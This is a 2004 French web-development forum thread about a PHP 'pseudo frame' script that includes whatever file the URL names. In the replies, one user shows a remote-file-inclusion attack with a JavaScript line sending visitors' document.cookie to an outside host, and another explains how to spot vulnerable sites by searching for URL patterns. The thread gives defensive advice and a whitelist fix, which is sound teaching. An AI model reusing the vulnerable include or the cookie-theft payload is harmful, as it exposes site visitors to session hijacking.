CONNEXION
  • RetourJeux
    • Sorties
    • Hit Parade
    • Les + populaires
    • Les + attendus
    • Soluces
    • Tous les Jeux
    • Gaming
  • RetourActu Gaming
    • News
    • Astuces
    • Tests
    • Previews
    • Toute l'actu gaming
  • RetourBons plans
    • Bons plans
    • Bons plans Smartphone
    • Bons plans Hardware
    • Bons plans Image et Son
    • Bons plans Amazon
    • Bons plans Cdiscount
    • Bons plans Decathlon
    • Bons plans Fnac
    • Tous les Bons plans
  • RetourJVTech
    • Actus High-Tech
    • Intelligence Artificielle
    • Smartphones
    • Mobilité urbaine
    • Hardware
    • Image et son
    • Tutoriels
    • Tests produits High-Tech
    • Guides d'achat High-Tech
    • JVTech
  • RetourCulture
    • Actus Culture
    • Culture
  • RetourVidéos
    • A la une
    • Gaming Live
    • Vidéos Tests
    • Vidéos Previews
    • Gameplay
    • Trailers
    • Chroniques
    • Replay Web TV
    • Toutes les vidéos
  • RetourForums
    • Hardware PC
    • PS5
    • Switch 2
    • Xbox Series
    • Switch
    • Pokemon pocket
    • FC 25 Ultimate Team
    • League of Legends
    • Tous les Forums
  • PC
  • PS5
  • Xbox Series
  • Switch 2
  • PS4
  • One
  • Switch
  • iOS
  • Android
  • MMO
  • RPG
  • FPS
En ce moment Genshin Impact Valhalla Breath of the wild Animal Crossing GTA 5 Red dead 2
Liste des sujets

(php) pseudo frame securisé

Neofungamer
Neofungamer
Niveau 22
21 mai 2004 à 17:39:16

bonjour apres avoir fait un saut dans le forum site web ( qui dort pas mal) je me suis dis que je devais vous posez ma question j´aimerais donc avoir un script a mettre entre < td> < /td> de mon site permettant de creer des pseudos frames car mon ancien script n´était pas top

< ?
if(!isset($page)){
include " defaut.php";
}
else{if(file_exists("$page")){
include " $page";}}
? >

ca c´est mon code actuel si vous jugez qu´il n´est pas mal dites le moi

et je ne sais pas trop quoi mettre dans les balises < a href.....
pour faire les liens pour ces pseudos frame moi j´avais utilisé

index.php?page=lapage.php
( par ewemple et ca marche pas

merci de votre aide

Neofungamer
Neofungamer
Niveau 22
22 mai 2004 à 01:34:31

:up:

MathieuN7
MathieuN7
Niveau 10
22 mai 2004 à 01:47:37

Euuh... jcomprends pas ta question personnellement

Neofungamer
Neofungamer
Niveau 22
22 mai 2004 à 10:04:35

je voudrais savoir si je peut utiliser ce code tel quel sans risque de piratage trop facile
et je voudrais savoir au niveau du menu ce que je doit mettre dans les balises < a href="......"></a>

Lapintade
Lapintade
Niveau 30
22 mai 2004 à 10:07:11

Sorry moi pas bon en html . ..

Scullder
Scullder
Niveau 10
22 mai 2004 à 17:21:11

ouaouh dans ton script, tu fais tout ce qu´il faut pas. Déjà, pour récupérer les variables passées dans l´url faut utiliser $_GET[´´], sinon cai pas bien =)
et faut surtout pas passer le nom du fichier dans l´url, sinon on peut inclure un fichier extérieur, par exemple un ptit html + javascript qui récupère le cookies =)
Par exemple je vais à la page
index.php?page=http://scullder.free.fr/mechant.htm&lt;BR>
dans mechant.htm, j´insère le javascript document.write("<img
src=\"http://scullder.free.fr/mechantimage.php?coo<BR>kie= + document.cookie + " \">") ( ou un truc du genre)
et là je récupère les cookies des visiteurs de ton site =)

bon alors maintenant je te file l´idée :

url de la forme index.php?page=youhou ou index.php?page=tada

alors là tu fais ce script =)

< ?
if(!isset($_GET[´page´]))
{
include("defaut.php");
}
else if($_GET[´page´] == " youhou")
{
include("youhou.php");
}
else if($_GET[´page´] == " tada")
{
include("tada.php");
}
else
{
include("erreur404.php");
}
? >

ouala

Neofungamer
Neofungamer
Niveau 22
22 mai 2004 à 17:29:38

oki j´ai compris maintenant merci

Neofungamer
Neofungamer
Niveau 22
28 mai 2004 à 19:34:01

je rencontre actuellment encore un blem ( il le faisait pas il y a 10 min

voici mon script php

< ?
if ( $_GET[´page´] == " demo")
{
include("demo/home.php");
}

if ( $_GET[´page´] == " actors")
{
include("perso/home.php");
}

if ( $_GET[´page´] == " lands")
{
include("lands/home.php");
}

if ( $_GET[´page´] == " plans")
{
include("plans/home.php");
}

if ( $_GET[´page´] == " technic")
{
include("technic/home.php");
}

if ( $_GET[´page´] == " texts")
{
include("text/home.php");
}

if ( $_GET[´page´] == " studio")
{
include("studio/home.php");
}

if ( $_GET[´page´] == " screen")
{
include("screen/home.php");
}

if ( $_GET[´page´] == " 3dview")
{
include("3dview/home.php");
}

else
{
include("erreur404.php");
}

et dans la pseudo frame de la page home.php il me met undefined index : page on c:\inerdome\ home.php
on line 225

faut que je fasse quoi svp

kokoala
kokoala
Niveau 7
28 mai 2004 à 20:00:58

1/ moi je mettrai plutot un switch

2/ elle est où ta 225° ligne ?

Neofungamer
Neofungamer
Niveau 22
28 mai 2004 à 20:12:24

225 c´est if ( $_GET[´page´] == " demo")

kokoala
kokoala
Niveau 7
28 mai 2004 à 20:22:14

faut que tu testes d´abord si $page est defini avec la fonction isset

kokoala
kokoala
Niveau 7
28 mai 2004 à 20:23:49

$_GET[´page´] plutot

Altonfrere
Altonfrere
Niveau 10
28 mai 2004 à 21:16:27

Euh je sais pas si tu sais mais vérifie quand même que les trucs genre :

index.php?page=lapage.php

incluent bien des pages de ton domaine UNIQUEMENT

Une fois ton script en place tu peux facilement tester en faisant par exemple :

http://www.tondomaine.com/index.php?page=http://www.autreadresse.com/page.php

si tu vois la page de autreadresse.com s´afficher c´est pas bon du tout.

C´est une faille très facile à trouver et heureusement on en rencontre de moins en moins ( mais j´en ai déjà trouvé sur google en faisant une simple recherche avec : " index.php?page=" ou encore " index.php?p=" etc...)

Sous forums
  • Aide à l'achat Mac
  • Macintosh
  • Création de sites web
  • Création de Jeux
  • Linux
  • Programmation
  • Internet
  • Steam Deck
  • Hardware
La vidéo du moment